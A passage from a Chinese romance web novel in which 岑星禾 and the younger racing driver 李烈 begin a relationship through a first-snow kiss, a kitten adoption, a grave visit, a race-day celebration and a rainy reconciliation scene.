广场四周的灯柱一盏一盏地亮起来,暖黄色的光把每一片雪花都照得透亮,成千上万片雪在光里旋转飘落,喷泉池边沿积起了一层薄薄的白,池底那片枯叶被雪盖住了。 岑星禾站在广场中央,仰头看着雪落,“你在上城看到雪了吗?” 李烈低头看着她,“这是初雪。” 她侧过脸,发现他正看着自己,目光像要把人揉进骨血里,毫不掩饰。 “怎......怎么了?”她舌头打结。 他的视线从她的眼睛移到她的鼻尖,从鼻尖移到嘴唇,目光沉沉的,听说在初雪接吻的人会一辈子在一起。 “你脸上有东西。”他伸手碰了碰她鬓角边的一小片雪花,指尖凉凉的,碰到她皮肤的瞬间,她被冰得缩了一下。 “还有吗?”岑星禾的心跳太快了,快到她觉得他一定听到了。 他手指还停在她脸侧,拇指从她的脸颊滑到她的嘴角,“你闭眼。” “什么?” “闭眼。”他低低地请求。 微暗的光线中,她对上他映着雪光的晦暗眼神,犹如深不见底的寒潭,叫嚣着将她拖进其中。 他一定会做些什么,或许是他带了什么礼物,要给她一个惊喜,她劝说自己闭上了眼睛。 她听到雪落的声音,或许不是雪落,她只是思绪混乱,不知道手该放哪,脸上表情如何摆,全身僵硬心脏血液上涌,全都是错觉。 他的气息慢慢靠近了,真正到来的时候还是猝不及防,温热的、带着他身上淡淡机油的味道,还有一点点雪水的清冽。 他的鼻尖碰到她的鼻尖,像一片雪花落在另一片雪花上,他怕太重了会把这片雪压碎,他的嘴唇也是凉的,唇与唇相贴的地方,有温热的触感在蔓延。 时间停住了。 她猝不及防地睁开眼,从他的瞳孔里看到了自己慌乱的脸。 他睫毛垂着,晦沉的视线落在她嘴唇上,“可以吗?” 他在问一个对他而言很重要的问题。 “李烈,”她声音小到几乎被雪吞没,“我们到此为止,好不好?” 李烈的睫毛颤了一下,额头还抵着她的,“你知道的,我不会。” 岑星禾偏过脸,不敢看他。 “你才十九岁,你还有比赛,还有学业,还有那么长的路,你不要为我停下脚步。” 李烈轻轻把她的脸掰回来,“你就是我的终点,没办法再往前走了。” 岑星禾的眼泪掉了下来,她吸了吸鼻子,把脸埋进他的胸口,他冲锋衣上有一股淡淡的洗衣液的味道,“你不懂别人会怎么说你,你以后会后悔的。” “我不在乎别人怎么说。”他手臂收紧了一点。 李烈低下头,嘴唇贴着她的耳廓,呼吸滚烫,烫得她整个人都要烧起来。 “姐姐,”他声音又轻又哑,“我的人生里就只有你了,你让我走到哪里去?” 岑星禾思绪像这漫天的雪到处乱飘,她应该说什么?她又开始词穷。 他又低下头试探,薄唇从她的侧脸移到鼻尖,再到她圆润饱满的唇,“我们试试吧。” 她攥着他胸口的衣服,微微蹙着眉,指节泛白,两人的关系已经到了非做出决断不可的时候,她没有理由再拒绝,更何况她拒绝不了自己的心。 “那我就当你同意了。”他嘴角微微弯了一下。 李烈一只手扣住了她的腰,另一只手按着她的后脑勺,把她整个人彻底拉进了怀里,他直起身来,将她带的不得不踮起脚,他低头用力吻下来。 雪花落在他的肩膀上,落在她的头发上,落在两个人交叠的影子上。 广场四周的灯柱亮着,暖黄色的光把每一片雪都照成金色的碎片,他们站在光与雪的交界处接吻,像站在时间的夹缝里。 贴在她后背的手掌烫得像烙铁,他呼吸急促而滚烫,他的吻带着少年人独有的笨拙和炽烈,好几次牙齿磕到她的唇,像要把她吞吃入腹,他毫无章法地吮吸她的唇,两人呼吸都乱了。 岑星禾快要喘不过气,挣扎了一下,察觉到她的后缩,他含着她的下唇,轻轻吮了一下,见她不再抗拒,他用舌头抵开她的贝齿,伸了进去,两人舌头相触的瞬间,她全身如同过电般颤抖了一下,换来李烈更深的探入。 她听到有汽车滑过的车轮声,有人在雪中欢呼,远处的楼房模糊了,近处的灯柱也模糊了,只剩下两个人面对面站着,被雪包围着,像一个透明的结界。 完了。 她想。 她的脚尖几乎快离开了地面,整个人挂在了他身上,李烈终于松开了一点,他垂眼看她,胸腔一起一伏的,语中带笑,“乖姐姐,怎么又哭了?” 是雪落在脸上化成了水,她推开他一点点,努力压制着内心紧张炙热的情绪。 “李烈,你是不是偷跑回来的?” 李烈答应不会再骗她,善意的谎言到嘴边变成了实话,“后天考试。” 岑星禾眨了眨眼睛,“你什么时候回去?” 他的手还扣在她腰上,没有松开,“明天。” “几点?” “晚上十一点半。”他买最晚一班车票。 李烈又把她搂进怀里,下巴搁在她头顶上,嘴唇贴着她被雪打湿的头发,“你以后别一个人偷偷哭。” 岑星禾不好意思地偏过头:“我尽量。” 李烈揉了揉她的长发,又用脸蹭了蹭,心里是前所未有地满足,怀里是他日思夜想了三年多的姑娘,那么好又那么乖的姐姐,上天的恩赐来的太快太容易了,他生怕有什么会打破这一切美好,将她搂在怀里连动都不敢多动。 雪还在下,漫天漫地,先这么走下去吧。 岑星禾想,未来太遥远了。 * 第二天早上,雪停了。 太阳从云层后面钻出来,把整个城市照得白晃晃的,屋顶上、树枝上、车顶上,到处是昨天晚上落下的雪,还没来得及化。 岑星禾拉开窗帘的时候被光晃了一下眼,眯了好一会儿才适应过来。 李烈已经起了,他站在厨房里烧水,穿着一件灰色卫衣,碎发凌乱垂在额头,还没完全睡醒的样子,眼睛半眯着,水壶在旁边咕嘟咕嘟地响。 “要不要给你带点特产给室友?”她靠在厨房门框上,头发随意披着。 “待会儿去买。” “我和你一起去。” “嗯。”他把热水倒进杯子里,转过身,看了她一眼,目光在她脸上停了半秒,落在她嘴唇上,又若无其事地移开,“吃完饭带你去个地方。” 岑星禾迷迷糊糊地,“去哪?” “去了就知道了。”他端着水杯走过她身边,顺手在她头顶揉了一把,动作自然得像做了无数次。 到了地方她才知道是流浪猫之家。 那是一家开在老城区巷子里的小店,门口挂着一块木牌,上面写着猫屿,窗户擦得很亮,里面摆着猫爬架和软垫,隔着玻璃能看见几只猫在晒太阳,懒洋洋的。 岑星禾回头看了李烈一眼,“你从哪里找的这个地方?” “网上。”他推开玻璃门,门上的铃铛响了一声,李烈示意她先进去。 猫屿的领养规则很严格,排队的人也很多,一般要提前三个月预约,门口的指示牌也写的很清楚,李烈打了电话,网上填了申请表,预约了领养时间。 老板是一个四十多岁的女人,戴着一副圆框眼镜,怀里抱着一只三花猫,正在给它梳毛,她抬头看到李烈,笑了一下:“你好,是刚打电话预约的那位吗?” 李烈点了点头。 “还好今天人不多,你们过来看看吧。” 李烈弯下腰,看着猫柜里那几只正在玩毛线球的小猫,伸出一根手指戳了戳玻璃,里面的橘色小猫凑过来,用鼻子闻了闻他的指尖,隔着玻璃什么也没闻到,它还是歪着头看了他好一会儿,接着伸出爪子扒了一下玻璃。 “你喜欢这只吗?”李烈说。 岑星禾蹲下来,那只橘色小猫大概三四个月大,毛茸茸的,耳朵尖尖的,眼睛是琥珀色的,圆溜溜的,正好奇地盯着她看。 它的尾巴竖得高高的,尖儿微微抖了一下。 “你喜欢它?”岑星禾问。 “和你挺像的。” 他和她并排蹲着,指了指猫的额头,“这儿眉毛这里,皱起来的时候像你。”又指了指猫的眼睛,“委屈的时候也像你。” “我没有委屈。”她小声说。 李烈站起来和老板办手续,填表、签字、交材料,一样一样地做,认真得不像平时那个什么都无所谓的人。 岑星禾蹲在猫柜前看着那只橘色小猫,小猫也看着她,隔着一层玻璃,两个人大眼瞪小眼,她忽然有点感动,有一种被人放在了计划里的感觉。 他三个月前就预约了领养,那时候他们还没在一起,还没有初雪那天的吻,但他已经在做以后的事了。 手续办好,老板把小猫装进一个透气的航空箱里,递给他们,李烈接过箱子,一手拎着,另一只手自然地牵起她的手,十指扣进她的指缝里,又塞进了自己的口袋。 “走了。” 岑星禾跟在他旁边,耳朵被门外的风一吹,变得红红的。 回家的路上,他们去了宠物店。 李烈推着购物车走在前面,岑星禾跟在后面,航空箱放在购物车里,小猫在里面叫了一声,细细的,奶声奶气的。 “买什么?”她问。 “先买猫粮。”李烈站在货架前面,拿着一袋幼猫粮翻来覆去地看配料表,眉头微微皱着,像在修车铺里研究一个复杂的发动机。 他看了一会儿,放回去,换了旁边那袋,又看了半天,最后拿了某进口品牌的大袋,“这个蛋白质含量高,幼猫需要。” 岑星禾看着他认真的样子,没忍住笑了一下。 “笑什么?” “你对猫比对人好。” 李烈把那袋猫粮放进购物车,低头看着航空箱里那只橘色小猫,小猫趴在箱子底部,圆溜溜的眼睛正好奇地打量着外面的世界。 “对人好,有的人不领情。”他舔了舔后槽牙,轻飘飘瞥了她一眼。 岑星禾移开视线。 他们又买了猫砂、猫砂盆、猫窝、自动喂食机、饮水机、逗猫棒,购物车堆得满满的,推起来有点费劲,结账的时候李烈抢在前面扫了码。 下午,他们又特意去买了燕港本地的特产和小吃,一天的时间基本都用完了。 到家李烈把航空箱放在客厅地上,打开箱门,橘色小猫探出脑袋,四处嗅了嗅,圆溜溜的眼睛一眨一眨的,它慢慢地走出来,在客厅里转了一圈,闻了闻茶几腿,又闻了闻沙发角,最后跳上了沙发,蜷在靠垫上,尾巴一卷,开始打盹。 “它好像很喜欢这个家。”岑星禾蹲在沙发边,看着那只小毛球。 “它喜欢的是你。”李烈把猫粮倒进食盆里,放在墙角。自动喂食机还没设置好,他蹲在地上研究说明书,手指指着上面的字一行一行地看,表情专注得像在做一件很重要的事。 岑星禾弯了弯唇角,“我们给它取一个名字吧。” 李烈头都没抬,“叫小骗子。” 岑星禾 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“有什么不安全的。”她系另一只鞋的鞋带,手指很灵活。 “那也不行。”他蹲下来视线和她平齐,伸手按住她正在系鞋带的手,“不用送。” 岑星禾抬起头,两个人隔了不到一拳的距离,他的眼睛在玄关昏黄的灯光下显得很深,像两口望不到底的井。 “又不远。” 李烈忽然嘴角弯了一下,他凑过来在她嘴唇上轻轻啄了一下,还没等她反应过来他已经退了回去。 “你就呆在家。”他说。 岑星禾的耳根一下子烧了起来,她想低下头继续系鞋带,手指有点笨,系了两下没系好,“不会不安全。” 他又凑过来,这次慢了一些,像是给她留了躲开的时间,她没有躲,他的嘴唇贴上来,比刚才那一下重了一点,停留的时间也长了一点。 他含了一下她的下唇,退开一厘米的距离,鼻尖蹭着她的鼻尖。 “很快就回来了。”他热烈地气息拂在她唇上。 她伸手推了一下他的胸口,没推动。 “知道了。”她的声音小得像蚊子叫,“就送你到门口。” 李烈坏笑了一下,内心强烈希望她再坚持一下,这样他就可以找理由再亲她一次。 他看了一眼时间,拿起玄幻的黑色背包,“进去吧,外面冷。” “你到了报平安。” 他转身把门带上了,门锁咔嗒一声,走廊里传来他的脚步声,由近及远,越来越轻,最后听不见了,岑星禾站在门口,看着那扇关上的门,手指贴在门板上,停了好一会儿才收回来。 她把鞋脱了,拖鞋摆好,灰的并排放在粉的旁边,露娜从沙发上跳下来,绕着她的脚踝转了两圈,仰着头喵了一声。 她弯腰把猫抱起来,走回沙发上坐下。 11点35分。 手机亮了。 李烈:[上车了。] 她回:[嗯。] 他又发了一条:[记得想我。] 她看了几秒,把手机扣在胸口上,露娜在她腿上踩奶,一下一下的,她的心底仿佛溢出了蜜。 * 泰显川判死刑后,李承的冤屈被洗清,被追认为烈士,寒假刚放假,李烈在路上就发消息说,打算去给父母扫墓。 岑星禾回了一个好。 燕港一入冬,到处都灰蒙蒙的,因下了雪,空气里有潮湿的土腥味,草叶上挂着露水,脚踩上去会留下一个深绿色的印子。 墓地在城郊的一座小山上,走上去要十几分钟,台阶是水泥砌的,两旁的柏树长了很多年,枝叶密密地遮住了半边天。 李烈的家人都在这片墓地,但不在同一个位置,母亲去世的时候他还小,后事是福利院帮着办的。 李烈穿着一件黑色夹克,头发露出青色的发茬,他拿着一束白菊,从山脚走到半山腰,一路都没说话,岑星禾走在他后面,隔着两三步的距离,手里也拿着一束花,混着几枝绿草,简单素净。 到了墓碑前他停下来。 碑上的字被风雨侵蚀得有些模糊了,碑前放着别人之前来扫墓留下的痕迹,一束干枯的花,花瓣已经看不出颜色了,几根燃过的香,只剩下一小截白色的灰。 李烈把那束白菊花放在碑前,他把旧的花拿开,放在一边,又把碑前的落叶捡干净,手指一片一片地拈,他宽大的肩膀微微弓着,脊背绷得很直。 李烈跪在冰冷的水泥地上,低头看着碑上的字,手指放在膝盖上,指节微微屈着。 风吹过来,柏树的叶子沙沙地响,像有人在很远的地方说话。 岑星禾蹲下来,把那束白花放在碑前,挨着他的花,她的手指碰到碑座的时候,指尖凉了一下,缩回来,又放上去了。 李烈轻声开口,“爸,妈,我来看你们了。” 岑星禾的眼眶一下子就红了,她咬住嘴唇,没让自己哭出来,她把花摆好,对着墓碑鞠了一躬。 李烈站起来的时候,膝盖上沾了一层灰。他没有拍,伸出手握住了她,他的手指很长,缠着她的指缝。 岑星禾侧过脸看着他,他的下颌线绷着,嘴角往下撇了一下,又抿住了,他的眼眶是红的。 岑星禾想,这十一年的账总算还完了,只是李烈缺失的十一年内所有的温情与幸福是无论如何都无法弥补的。 “李烈。” 他偏过头看她。 “你爸会为你骄傲的。”她声音有一点抖。 李烈眼眶里的红色又深了一点,他的喉结上下滚动了一下,把她的手握得更紧了。 下山的时候,天气还是低沉的,柏树在两旁站着,影子落在地上,两个人的手还牵在一起,走到山脚下,李烈忽然停下来,侧过脸看着她。 他的表情恢复了平时那种懒洋洋的样子,眼底还有一种没来得及收回去的东西,沉沉的,“你肩膀借我一下。” 岑星禾还没来得及回答,他已经靠过来了,他把头轻轻搁在她肩膀上,像一只累了的大型犬类终于找到了可以蜷着的地方,他的头发蹭到她的耳垂,有点痒。 “就一会儿。”他的声音从她的肩膀里传出来。 岑星禾站抬起手,轻轻揉了揉他的后脑勺,他的头发有些扎手,她的手指在他发根处停了一下,又拿开了。 远处有车经过,喇叭响了一声,又远了,风从山那边吹过来,带着泥土和柏树的味道,过了好一会儿,李烈直起身来,眼睛还是红的,“走吧,木星该喂了。” 岑星禾看到他眼角没来得及擦掉的一点水光,看到他故作轻松的语气下那些沉甸甸的东西,没有戳破,“嗯,走吧。” 兩個人沿著小路往回走,肩膀挨著肩膀,影子投在地上,被下午的太阳拉得很长很长。 20. Chapter20·分手吧^^…… 三月中旬,上城早已是万物复苏,一片生机勃勃。 李烈说车队周末有一场内部友谊赛,问她来不来。 打电话的时候,岑星禾正在给木星铲屎,手机开了免提搁在茶几上,“内部友谊赛?我去干嘛呀?” “看我赢。” 岑星禾轻笑,“你怎么知道你能赢?” “因为你在啊。”他带着期盼。 岑星禾哦了一声,说:“我会去的。” 他在电话那头开心得不得了。 自从她答应和他谈恋爱,他就开始像个黏人精,无时无刻都在想和她贴贴,一有空就要打视频电话,没空打也要发信息,她回慢了一点,他就怀疑她是不是被拐卖了,恨不得一双眼睛黏她身上。 这种占有欲让人莫名其妙的恐慌。 挂了电话,她查了上城的机票,周六早上去,周日晚上回,周五晚上她翻了一夜的衣柜,带哪件外套,穿什么颜色的内搭,挑来挑去,拿不定主意。 最后把第二天要穿的衣服摊在椅子背上,关灯,躺下,翻来覆去,过了好一会儿才睡着。 周六一早,她五点多就醒了。 化完妆,换上那条格子短裙,裙摆在膝盖上方一掌宽。长筒白袜拉到大腿中段,袜口有一圈细细的花边,编了辫子,两侧的头发编成三股,顺着耳后拢过去,用细卡子别住,其余的头发散在身后,光洁的额头露出来,整张脸亮堂堂的。 对着镜子照了照,又照了照,她把手机放进口袋,深呼吸,拉开门。 到赛道的时候快中午了。 上城郊外露天的赛车场,看台很大,人不多,红蓝色的座椅一排排的被太阳晒得发烫,赛道是新铺的沥青,乌黑锃亮,白色的线画得笔直。 远处停着几辆赛车,五颜六色的,在阳光下闪着光,机械师蹲在车旁边检查轮胎,扳手敲在金属上的声音清脆又短促,叮叮当当的,像有人在不远处敲钟,队旗被风吹得噼啪作响,上面印着赞助商的标志,红底白字,远远看过去像一簇火焰。 岑星禾站在看台上,眯着眼找了一圈,没找到李烈。 她低头抚平自己的裙摆,周围都是车队的工作人员和队员亲友,几乎互不认识,她站在人群里,像一朵被插错瓶的花,哪儿哪儿都不太对。 “岑星禾?” 一个穿车队工作服的男生跑过来,手里拿着一块长方形的小牌子,黑色的,上面印着车队的logo和编号,“李烈让我给你的。” 她接过来,厂牌攥在手里,指腹摸了摸上面凸起的logo,说了声谢谢,男生看着她,不太好意思挠挠头,咧着嘴笑了笑。 岑星禾把厂牌挂在脖子上,看了好几遍。 车手出场的时候,看台上有人吹了口哨,车手们穿着各色赛车服,戴着头盔,整整齐齐地走出来,像一排被上了发条的玩具。 她一眼就找到了他,他在最后面,头盔夹在腋下,穿着一身红黑赛车服,拉链拉到最上面,下巴被领口包住,只露出半张脸。 在上城这段时间,天天训练,他的皮肤像被太阳晒透了,又黑了一点。 他往看台扫了一圈,没找着人,备赛前几分钟,他的目光在她身上停了,上上下下扫了一遍,从长发到格子短裙,到长筒白袜,再回到她的脸上。 他的表情没有太大的变化,眼神变得更深更浓,像墨里加了一层釉,亮得刺眼。 岑星禾冲他的方向招了招手,捏了捏厂牌的绳子抬起来,冲他笑了一下。 李烈旁边那个车手凑过来,顺着他的视线看了一眼,嘴巴动了两下,李烈没理他,伸手把头盔戴上,护目镜拉下来,遮住了眼睛。 他没有马上转过去,隔着护目镜,他又盯了她两秒,那层透明塑料片后面,仿佛能感受到他灼热的视线。 发令枪响。 赛车像离弦的箭一样冲出去,引擎声轰鸣,震得看台上的铁皮棚子嗡嗡响。 岑星禾攥着厂牌站在栏杆后面,眼睛一眨不眨地盯着赛道。 红色开头领先,黑色那辆第二,李烈在后面,其余的选手紧紧咬着他的车尾,过弯的时候黑车没有减速,车身倾斜着从外线切了进去,轮胎在地上磨出一股青烟,在红色车身和赛道边缘之间只有一条窄窄的缝,多一寸会撞墙,少一寸会被挡。 李烈竟然从那条缝里挤了过去,出弯的时候,他在前面了。 看台上有人尖叫,她咬了咬指背,心跳跟着加速。 后面的几圈他一直在领跑,稳稳地挡在内线,后面的车几次想超都被他卡住了位置,最后一圈,他从弯道出来的时候,突然拉开了一小段距离,引擎声变了,变得更高更尖,犹如一头被放出了笼子的野兽。 冲线前,他把所有车都甩在了身后。 看台爆发出一阵欢呼。 岑星禾眼睛一酸,又想掉眼泪。 她看到他把车停进维修区,双腿一跨从车上下来,摘下头盔夹在腋下,大步流星地朝看台这边走来。 他的头发全湿了,贴在额头上,脸上全是灰和汗,黑色的赛车服上沾着轮胎的碎屑,护目镜推上去卡在头盔上,整个人像是从战场上刚下来的战士,又野又痞,混不吝的。 身边车队的其他成员也跟着他过来了,旗子被他身旁的队员高高举起,在风中猎猎作响。 看台上的人在喊什么她听不清,周围的人在欢呼她也听不清,她的目光一直跟着他走。 他绕过围栏,三步并作两步上了看台的台阶,人群自动往两边让开一条路。 她还没反应过来,他已经到了她面前,头盔被随手搁在地上,发出闷闷的一声响,他伸出手,一把扣住她的腰,将她整个人拉进怀里。 在几十号人面前,在旗子飞扬、引擎还在轰鸣的赛车场,在她还未反应过来的时候,他低头吻了她。 带着少年人独有的霸道和炽烈,像他过弯时从外线硬切进来,不再隐藏,不再等待,不再问可以吗。 他的嘴唇带着赛道上尘土和汗水的味道,一只手扣着她的后脑勺,另一只手臂箍着她的腰,把她整个人箍得紧紧的,紧到她的脚尖几乎离开了地面。 他的吻又急又凶,含着她的下唇,舌尖粗暴地撬开缝隙,岑星禾的脑子一片空白。 周围有人在起哄,有人在吹口哨,有人在大喊李烈的名字,她听不清了乱了,什么也听不清了,耳朵里全是血液上涌的嗡嗡声,和他不太稳的呼吸。 她的手不知道该往哪儿放,最后攥住了他赛车服的前襟,手指攥得死紧,骨节泛白。 他亲了很久,久到她腿软。 他松开她的时候,她整个人还是懵的。 “赢了。”他说。 岑星禾一个字都没说出来,她的嘴唇被他亲得又红又肿,还带着他嘴唇的温度,在这么多人的场面下,她感到很难为情。 “谁让你穿这样的?”他皱了皱眉。 岑星禾更懵,“哪样?” “裙子。”他上上下下看了她一眼,目光在她的腿上停了一瞬。 “不好看?”她问。 他把自己的羽绒服从旁边的椅子上捞起来,抖开,从她身后给她披上,两只袖子在她胸前交叉,拉了一下,像系安全带一样,把她整个人裹了进去。 羽绒服太大了,下摆快到她膝盖,袖子长出一截,她把手指伸出来,像两只缩在壳里的蜗牛。 “你干嘛?”她问。 “怕你冷。” “我不冷,今天温度......” “我冷。”他截断她的话。 岑星禾低头笑了一下,把两只手缩进他长长的袖子里,袖子在胸前晃来晃去,“幼稚鬼。” 他不以为意,牵起她缩在袖子里的手,十指扣进去,捏了一下,“爱哭鬼。” “去哪?”她问。 “陪你逛街。” 奖金是三万块,岑星禾由衷为他高兴,“我们家小孩好厉害哦。” 李烈睨她一眼,“能别这么叫我吗?” “那叫什么?” 他将她扯进怀里,附耳道,“叫老公。” 岑星禾挣扎出来,离他两步远,眼睛都不敢看他,嘴里嘟囔,“没个正形。” 李烈盯着她坏笑。 他们先去了商场。 李烈说要给她买衣服,她说不缺,他非说缺,她问缺什么,他扫了一眼她的衣柜,说了句缺我想看你穿的那些,她的脸一直红到脖子。 最后她挑了一件灰色的卫衣,胸前印着一只很小的橙色猫咪,和木星同一品种。 李烈看了那件卫衣一会儿,说买两件,她问他干嘛买两件,他说一件你穿,一件我穿,她看了他一眼,说这件是女款,他说女款怎么了。 离开商场的时候,李烈趁她挑选衣服的间隙,去迪奥的专柜买了一件当即主打的连衣裙,按照她平时的尺码买的,送给她的时候,她收起了葛朗台的做派,看他满脸欣喜地样子,欣然接受了他的好意。 岑星禾知道这是他放在心里很久的事情之一,自从上次抓泰显川划破了那叫小黑裙,他就一直耿耿于怀。 他总是想让她得到最好的,她不想再拂了他的好意。 这种贵重礼物放在任何男人身上她都不会接受,可她慢慢却接受了来自李烈的很多礼物,其实是她接受了来自李烈的感情。 * 傍晚的时候,他们去了音乐台。 音乐台在紫金山脚下,半圆形的露天剧场,台阶式的看台一圈一圈地往下延伸,最下面是舞台,白色的石墙上有几个半圆形的拱门,拱门后面是层层的树影。 广场上散落着成百上千只白鸽,灰白色的翅膀在夕阳里扇动,扑棱扑棱的。 岑星禾坐在台阶上,李烈坐在她旁边,中间的扶手上放着两杯奶茶,是路边随手买的,杯壁上凝着细密的水珠。 太阳快落山了,光从树梢后面斜射过来,把整个音乐台染成橘红色,鸽群在不远处起起落落,有胆大的鸽子飞过来,歪着头看他们手里的奶茶吸管,啄了一口,没啄动,又歪着头看他们。 岑星禾靠在李烈肩膀上,双腿伸在前面,格子短裙被羽绒服盖住了,只露出一截白色长袜。 “我赌两百块,”他忽然说,“可以不碰你的嘴唇吻到你。” 岑星禾侧过脸看着他,他靠在台阶上,姿态散漫,夕阳把他的侧脸照成暖金色,睫毛的影子落在颧骨上。 “两百?”她笑说,“敢不敢赌大点?” 他偏过头看她,嘴角慢慢弯了起来。“你来定。” 岑星禾脑子转了一下,“赌三万。” 他没犹豫,“当然可以。” “怎么吻?” “这就是赌注。”他勾了勾唇。 四目相对,夕阳照在两个人的脸上,鸽群从他们头顶飞过,翅膀扑棱扑棱的,带起一阵小小的风。 “你的三万奖金还没捂热,”她说,“可就要交给我咯。” 李烈笑了一下,他的手指抬起来,碰到她的下巴,轻轻往上抬了抬,拇指在她下巴上蹭了一下,他的指腹粗粝,带着一层薄茧,划过去的时候有一点刺刺的。 他目光落在她的嘴唇上,“我已经在赌了。” 他的眼神太深了,像一口望不到底的井,井底映着她的脸,夕阳从她身后照过来,把她的轮廓镀上一层金边。 他直接吻了上来。 他的嘴唇贴着她的嘴唇,带着一点点奶茶的甜,他的手从她下巴滑到她的耳侧,手指插进她发丝里,指腹按着她的耳后,那里的皮肤薄得能摸到血管的跳动。 岑星禾愣住了。 他的唇没有离开,含着她下唇轻轻吮了一下,又松开,退开一点点距离,鼻尖抵着她的鼻尖,呼吸全喷在她唇上。 岑星禾心上手上都是麻的,“你犯规了。” 她的脸烫得能煎鸡蛋,都不知道眼神该看哪里,她伸手推了一下他的胸口,他的手还插在她头发里,手指收紧了一点,把她的头固定在一个不能躲的角度,“三万块一个吻,很值得。” “再亲一次。”他的嘴唇几乎是贴着她的唇说的,每吐出一个字,气息就拂过她的唇一次,像羽毛在皮肤上反复描画。 岑星禾的脑子已经转不动了,她想说你这个人怎么这样,到了嘴边都碎成了渣,被他的呼吸烫化了。 他垂眼看了看她的嘴唇吻下来了,这一次比刚才更重更深,甚至直接用舌尖抵开她的唇缝,探了进去。 岑星禾的手攥住了他胸口的衣服。 周围的鸽群被惊动了,哗啦啦地飞起来,翅膀遮住了半边天,白色的羽毛在空中翻飞,夕阳把它们照成淡粉色,漫天云霞皆为她的心。 他把她整个人箍在怀里,不让她退,不让她躲。 他终于亲够了,退开几毫米,鼻尖蹭着她的鼻尖,他的呼吸很重,胸腔一起一伏的,“回本了。” “你故意的。”她声音小得像蚊子叫。 李烈盯着她笑,笑容有一点痞一点坏,和很多很多的喜欢。 远处最后一缕光收进了山后面,天边只剩一道薄薄的橘色,鸽群安静下来,缩着脖子蹲在石墙上。 岑星禾坐在他旁边,把脸埋进他的肩膀里。 他的羽绒服上有一股淡淡的洗衣液的味道,干净的,温热的,她想这个人以后还会故意很多次,而她大概每一次都会输。 她沉浸在这种幸福里无法自拔,恋爱的甜蜜达到了顶峰。 * 李烈留在上城继续训练。 走的那天,他把她送到机场大巴的站台,把她的围巾往上拢了拢,低声嘟囔:“记得想我。” 大巴开走的时候,她回头看了一眼,他还站在站台上,手插在裤兜里,看向她的方向。 回燕港之后,日子又恢复了原来的节奏,上班,下班,喂猫,接他的视频电话,木星长大了不少,橘色的毛在阳光下亮得像一团火,每天在沙发上跑酷,把纸巾盒从茶几上推下去,把她的拖鞋叼到床底下。 李烈每次打视频过来,第一句永远是“木星呢”。 她把摄像头对准猫,他在那边看了好一会儿,然后说:“行了,换你”。 她的脸出现在屏幕里的时候,他的表情会变一下,眼睛亮了一亮,“想你了。” 她温吞地嗯了一声,他就会抱怨说,我觉得你不够想我。 天生含蓄的岑星禾没办法像他那样表达热烈的情感,能给出回应已经是很大的进步了,他非逼她说,她憋了半天,说了一句我也是。

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Chapter21·坏姐姐^^…… 她不知道自己是怎么睡着的,大概是哭累了,靠着沙发就闭上了眼睛,再醒来的时候,客厅的灯还亮着,窗外一片漆黑,狂风呼啸,手机屏幕上是凌晨三点半。 没有未读消息。 她把手机翻过去扣在茶几上,过一会儿,忍不住拿起来看了一眼,心脏不禁一阵酸涩,犹如被放进一堆青柠檬里浸泡。 手机攥在手心里,不断地关闭微信,打开微信,仍旧一无所获,岑星禾长叹一口气,将手机扔到沙发上,起身去倒水,保温壶是空的,只好又重新烧上水。 外面不知道什么时候下起了雨。 雨细细密密的打在窗户上,像谁在用指甲轻轻敲玻璃,路灯的光被雨丝切成一缕一缕的,落在湿漉漉的地面上仿佛碎了的金子。 她端着水杯站在阳台上,看着楼下的街道,雨夜的车很少,偶尔有一辆轮胎碾过积水,发出沙沙的声音。 潮湿阴冷的雨夜里,一个黑色的影子像幽灵一样站在路灯下,夜市脏摊早就收完了,路边有些乱七八糟的垃圾,那人没打伞,站在那里,像一只被雨淋湿了的大狗,浑身上下的毛都贴在身上,又狼狈又倔强,缩在路边不敢动,怕主人不要他了, 怎么能这么落魄这么可怜。 雨水顺着他的头发往下淌,卫衣的帽子没戴,领口湿了一大片,贴在脖子上,岑星禾的水杯差点从手里滑下去,她放下杯子,转身拿了伞,连拖鞋都没来得及换,拉开门就往下跑。 电梯太慢了,她走的楼梯,楼道里的声控灯一盏一盏地亮起来,在她身后一盏一盏地灭掉,她的拖鞋踩在水磨石台阶上,啪嗒啪嗒的,好几次差点滑倒,她扶着墙继续往下跑。 她跑出单元门的时候,雨丝打在脸上,凉飕飕的,她撑着伞跑过去,跑到他面前停下来,胸口一起一伏的喘着气。 李烈定定站立着,沉默地看着她跑过来。 他的头发全湿了,贴在额头上,水珠顺着眉骨往下淌,流到睫毛上,他眨了一下,水珠落下来,分不清是雨水还是别的什么。 这到底是站了多久也不敢上楼,是又怕她责怪他逃课吗? “你什么时候回来的?”岑星禾伞举起来的时候手臂伸得很直,伞沿擦着他的额头,雨水顺着伞骨滴下来,滴在他的肩膀上。 光线昏沉迷离,李烈盯着她的脸看,她眼睛肿着,眼尾还红着,应该是出门太急了,头发散乱地披着,整个人很苍白无助的模样,“你又哭了。” 岑星禾把伞又举高了一点,手有点酸,“没有。” “坏姐姐,又骗我。” 雨打在伞面上,噼里啪啦的,路灯的光从头顶照下来,把两个人的影子投在湿漉漉的地面上,像一个人在抱着另一个人。 “你先上楼。”她说。 他歪着脑袋,神色倦倦的,碎碎密密的眉眼漆黑,眼神深不见底,一副没有得到回应不罢休的姿态。 “先上楼,会感冒的。”她又说了一遍。 “你不要和别人在一起。”他的声音带一点颤抖,“求你。” 那两个字从他嘴里说出来的时候,岑星禾的眼泪一下子就涌了上来,她死死咬住嘴唇,声音也在抖,“不要说了。” “你先答应我。”他眼神是那种她没见过的倔强,“要不然我就站在这里。” 豆大的泪珠顺着衣襟滚落与冷雨融合,她颤着嗓音告诉他:“很多事情不是你想象得那么简单。” “我从来没有想象你,我一直喜欢的都是具象化的你,无论你什么样。”他声音变得沉冷。 这种强势的转变令她心头一紧,她摇了摇头,“我不是说我们,我是说别人......” “别人重要吗?”他打断她,“他们一点都不重要,这么多年,没有别人的帮助,我们也走过来了,别人的想法和目光有什么好在意的?” 小时候岑家母女没有合法手续,也没有资格收养他,他必须要去福利院生活,他是后来去的,经常被里面的孩子抱团欺负,他们嘲笑他父亲是杀人犯,全家都死了是报应。 他从来没有忍让过,经常和他们打得头破血流。 后来,岑星禾看他总是受伤,去问了具体情况,那时她说,“无论别人说什么都不重要,那又不是事实,你不去听,世界自然就平静了。” 分明是她的原话,她忘得一干二净,把别人的话当成圣旨,非要摆在眼前,一遍一遍看,反复折磨自己。 忘记初心的人一直是岑星禾。 曾经对他的告诫被记得这么清楚,岑星禾心中不免悸动,“就算别人不重要,你的前途也不要了吗?” “你怎么知道我不要前途了?”李烈皱眉。 